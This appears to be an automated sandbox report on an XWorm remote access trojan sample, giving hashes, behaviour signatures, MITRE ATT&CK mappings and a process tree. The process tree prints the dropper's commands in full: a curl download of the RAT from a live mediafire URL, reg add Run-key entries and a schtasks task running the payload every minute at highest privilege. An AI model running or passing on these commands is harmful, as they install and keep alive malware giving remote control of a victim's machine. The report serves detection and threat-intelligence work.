xworm | 4fc4ae98d231e2bf0b8d4ad5463d9d4f673c1d5d63dc98838cf14a61d64ce6e6

General

Target

XWormContent.exe
Size

10KB
MD5

7d4e7449b76c34210100ea88c163c7fb
SHA1

ef679b47eb42f162355e8772ceb25712dc7ec75e
SHA256

4fc4ae98d231e2bf0b8d4ad5463d9d4f673c1d5d63dc98838cf14a61d64ce6e6
SHA512

d0ef46b3e5622160e9f6ce5cac8f2b14a10bad8e2c1f91a7e1d9713fd6ed844cf74817ca050e1a2d95ee9cd24ec01c67b6e279acddc95449553effbb8354ec1e
SSDEEP

192:qLH2ANdaLix1upSiP/VunlYJLLLTuzTVQLFjb5cqfM:qLH2ydaLiO3hPLTucTf

Score

10^/10

xworm persistence rat trojan

Malware Config

Signatures

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

XWormPanel.exeXWormContent.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	XWormPanel.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	XWormContent.exe

Drops startup file 2 IoCs

Processes:

XWormPanel.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XWormPanel.lnk	XWormPanel.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XWormPanel.lnk	XWormPanel.exe

Executes dropped EXE 3 IoCs

Processes:

XWormPanel.exeXWormPanel.exeXWormPanel.exe

pid process

3888 XWormPanel.exe
3984 XWormPanel.exe
1412 XWormPanel.exe

pid	process
3888	XWormPanel.exe
3984	XWormPanel.exe
1412	XWormPanel.exe

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exereg.exeXWormPanel.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AVAADA = "C:\\Windows\\XWormContent.exe"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AVAADA = "C:\\Windows\\XWormContent.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XWormPanel = "C:\\Users\\Admin\\AppData\\Local\\Temp\\XWormPanel.exe"	XWormPanel.exe

Drops file in Windows directory 6 IoCs

Processes:

cmd.exe

description	ioc	process
File created	C:\Windows\MicrosoftTeams.exe	cmd.exe
File opened for modification	C:\Windows\MicrosoftTeams.exe	cmd.exe
File opened for modification	C:\Windows\win.ini	cmd.exe
File opened for modification	C:\Windows\system.ini	cmd.exe
File created	C:\Windows\XWormContent.exe	cmd.exe
File opened for modification	C:\Windows\XWormContent.exe	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

3488 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

32 timeout.exe
Modifies registry key 1 TTPs 2 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exe

pid process

4772 reg.exe
776 reg.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

XWormPanel.exe

pid process

3888 XWormPanel.exe

pid	process
3488	schtasks.exe

pid	process
32	timeout.exe

pid	process
4772	reg.exe
776	reg.exe

pid	process
3888	XWormPanel.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

XWormPanel.exeXWormPanel.exeXWormPanel.exe

description	pid	process
Token: SeDebugPrivilege	3888	XWormPanel.exe
Token: SeDebugPrivilege	3888	XWormPanel.exe
Token: SeDebugPrivilege	3984	XWormPanel.exe
Token: SeDebugPrivilege	1412	XWormPanel.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

XWormPanel.exe

pid process

3888 XWormPanel.exe

pid	process
3888	XWormPanel.exe

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

XWormContent.execmd.exeXWormPanel.exe

description	pid	process	target process
PID 4380 wrote to memory of 2016	4380	XWormContent.exe	cmd.exe
PID 4380 wrote to memory of 2016	4380	XWormContent.exe	cmd.exe
PID 2016 wrote to memory of 4316	2016	cmd.exe	curl.exe
PID 2016 wrote to memory of 4316	2016	cmd.exe	curl.exe
PID 2016 wrote to memory of 32	2016	cmd.exe	timeout.exe
PID 2016 wrote to memory of 32	2016	cmd.exe	timeout.exe
PID 2016 wrote to memory of 3888	2016	cmd.exe	XWormPanel.exe
PID 2016 wrote to memory of 3888	2016	cmd.exe	XWormPanel.exe
PID 2016 wrote to memory of 4772	2016	cmd.exe	reg.exe
PID 2016 wrote to memory of 4772	2016	cmd.exe	reg.exe
PID 2016 wrote to memory of 776	2016	cmd.exe	reg.exe
PID 2016 wrote to memory of 776	2016	cmd.exe	reg.exe
PID 3888 wrote to memory of 3488	3888	XWormPanel.exe	schtasks.exe
PID 3888 wrote to memory of 3488	3888	XWormPanel.exe	schtasks.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\XWormContent.exe
"C:\Users\Admin\AppData\Local\Temp\XWormContent.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4380
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\cmd.bat" "
  2⤵
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:2016
- - C:\Windows\system32\curl.exe
    curl https://download1497.mediafire.com/av4hta6mkbagq9q63EQcCM1ZDZ0MJb3pOMqTati_JxDbj6616K7H9HKcefCbImq3V6MPY3E5pcdmBsEqSj4uScyyKg/ex02u2k9g7cros3/XClient.exe --output XWormPanel.exe
    3⤵
    PID:4316
- - C:\Windows\system32\timeout.exe
    timeout -t 3
    3⤵
    - Delays execution with timeout.exe
    PID:32
- - C:\Users\Admin\AppData\Local\Temp\XWormPanel.exe
    XWormPanel.exe
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3888
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XWormPanel" /tr "C:\Users\Admin\AppData\Local\Temp\XWormPanel.exe"
      4⤵
      Creates scheduled task(s)
      PID:3488
- - C:\Windows\system32\reg.exe
    reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\XWormContent.exe /f
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:4772
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v AVAADA /t REG_SZ /d C:\Windows\XWormContent.exe /f
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:776

C:\Users\Admin\AppData\Local\Temp\XWormPanel.exe
C:\Users\Admin\AppData\Local\Temp\XWormPanel.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3984

C:\Users\Admin\AppData\Local\Temp\XWormPanel.exe
C:\Users\Admin\AppData\Local\Temp\XWormPanel.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1412

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Registry Run Keys / Startup Folder

Scheduled Task

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\XWormPanel.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Temp\XWormPanel.exe

Filesize
156KB

MD5
ed44dc5ec5d2f4f29288cc873d7b6e5e

SHA1
63f471a8a2f5d21c6cc717ff4df5963fe0b426be

SHA256
4060e66fbf7ff0ba0514d76d7e89e7e79f75b381d8145eb1fad15da55a2a9393

SHA512
5aa192bfa71a94915e50ecdb40d59452b9c44bafd019b4d0632455a53034df6a28dd1bef663b0ad20889a60f65165d3ea317d1be3230c0d36d59377126a9d2a3

Download Submit
C:\Users\Admin\AppData\Local\Temp\XWormPanel.exe

Filesize
156KB

MD5
ed44dc5ec5d2f4f29288cc873d7b6e5e

SHA1
63f471a8a2f5d21c6cc717ff4df5963fe0b426be

SHA256
4060e66fbf7ff0ba0514d76d7e89e7e79f75b381d8145eb1fad15da55a2a9393

SHA512
5aa192bfa71a94915e50ecdb40d59452b9c44bafd019b4d0632455a53034df6a28dd1bef663b0ad20889a60f65165d3ea317d1be3230c0d36d59377126a9d2a3

Download Submit
C:\Users\Admin\AppData\Local\Temp\XWormPanel.exe

Filesize
156KB

MD5
ed44dc5ec5d2f4f29288cc873d7b6e5e

SHA1
63f471a8a2f5d21c6cc717ff4df5963fe0b426be

SHA256
4060e66fbf7ff0ba0514d76d7e89e7e79f75b381d8145eb1fad15da55a2a9393

SHA512
5aa192bfa71a94915e50ecdb40d59452b9c44bafd019b4d0632455a53034df6a28dd1bef663b0ad20889a60f65165d3ea317d1be3230c0d36d59377126a9d2a3

Download Submit
C:\Users\Admin\AppData\Local\Temp\XWormPanel.exe

Filesize
156KB

MD5
ed44dc5ec5d2f4f29288cc873d7b6e5e

SHA1
63f471a8a2f5d21c6cc717ff4df5963fe0b426be

SHA256
4060e66fbf7ff0ba0514d76d7e89e7e79f75b381d8145eb1fad15da55a2a9393

SHA512
5aa192bfa71a94915e50ecdb40d59452b9c44bafd019b4d0632455a53034df6a28dd1bef663b0ad20889a60f65165d3ea317d1be3230c0d36d59377126a9d2a3

Download Submit
C:\Users\Admin\AppData\Local\Temp\cmd.bat

Filesize
1KB

MD5
9ed2e107d38ab102bfe7614cfd24e829

SHA1
9541263008adf001fa4c3a0236f627223380d509

SHA256
b7583f69e19e71f24a2820d9decb63402084072889114ccab8fc98b3d16bc598

SHA512
31ab6308ba8840d2bc8667f45cec80090f595501df7851beba8584ed4556e505ddd3550cc83cdaeac38f6889904814ea155a7f779552e1c53a20885a0aefb6d2

Download Submit
C:\Users\Admin\AppData\Roaming\Temp

Filesize
1KB

MD5
9ed2e107d38ab102bfe7614cfd24e829

SHA1
9541263008adf001fa4c3a0236f627223380d509

SHA256
b7583f69e19e71f24a2820d9decb63402084072889114ccab8fc98b3d16bc598

SHA512
31ab6308ba8840d2bc8667f45cec80090f595501df7851beba8584ed4556e505ddd3550cc83cdaeac38f6889904814ea155a7f779552e1c53a20885a0aefb6d2

Download Submit
memory/3888-145-0x0000000000660000-0x000000000068C000-memory.dmp

Filesize
176KB

Download
memory/3888-161-0x00000000026F0000-0x0000000002700000-memory.dmp

Filesize
64KB

Download
memory/3888-162-0x00000000026F0000-0x0000000002700000-memory.dmp

Filesize
64KB

Download
memory/4380-133-0x0000000000180000-0x0000000000188000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads